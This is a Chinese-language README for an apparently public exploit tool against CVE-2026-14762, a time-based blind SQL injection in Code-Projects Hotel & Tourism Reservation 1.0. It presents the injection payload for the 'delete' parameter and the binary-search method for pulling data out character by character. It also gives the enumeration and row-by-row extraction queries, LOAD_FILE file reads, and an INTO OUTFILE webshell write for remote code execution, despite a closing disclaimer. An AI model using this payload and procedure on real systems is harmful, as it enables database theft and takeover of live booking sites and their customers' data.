CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL 注入漏洞利用工具

功能完备、多线程、基于时间盲注的 SQL 注入漏洞利用工具，针对 CVE‑2026‑14762。
目标为 Code‑Projects Hotel & Tourism Reservation 应用（版本 1.0）的 /admin/rooms.php 端点。
可实现完整的数据库枚举、文件系统读取（LOAD_FILE）和任意文件写入（INTO OUTFILE / DUMPFILE）——最终通过部署 WebShell 实现远程代码执行。

🚀 功能特性

📦 环境要求

• Python ≥ 3.11
• Python 包：
  • requests
  • urllib3
  • colorama（可选 – 用于彩色终端输出）

使用以下命令安装所有依赖：

pip install requests urllib3 colorama

📖 使用方法

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 命令行参数

⚙️ 工作原理

载荷构造

delete 参数中注入以下内容：

150' AND IF(<条件>, SLEEP(<延迟>), 0) AND '1'='1

IF() 函数判断条件；如果为真，数据库则休眠 <延迟> 秒。

二分法字符提取

对于每个字符位置，在 ASCII 范围（32–126）内进行二分查找，通过 > 和 = 比较确定正确字符。这将每个字符的请求数从 95 次减少到约 7–8 次，使提取过程非常高效。

元数据枚举

• 数据库名称：SELECT DATABASE()

• 表名：SELECT table_name FROM information_schema.tables WHERE table_schema='<数据库>' LIMIT n,1

• 列名：SELECT column_name FROM information_schema.columns WHERE table_schema='<数据库>' AND table_name='<表名>' LIMIT n,1

数据外泄

• SELECT <列名> FROM <表名> LIMIT 行号,1 – 逐行提取

• 每个单元格使用相同的二分法技术逐字符提取

文件系统交互

• 读取：LOAD_FILE('/路径/到/文件') – 需要 secure_file_priv 为空或指向目标目录

• 写入：SELECT '<内容>' INTO OUTFILE '/路径/到/shell.php' – 需要 FILE 权限且 secure_file_priv 不限制

🛡️ 免责声明

此工具仅供授权的安全测试、教育研究和漏洞评估使用。 作者不对任何滥用、非法活动或由本软件造成的损害负责。 在测试之前，务必获得系统所有者的明确书面许可。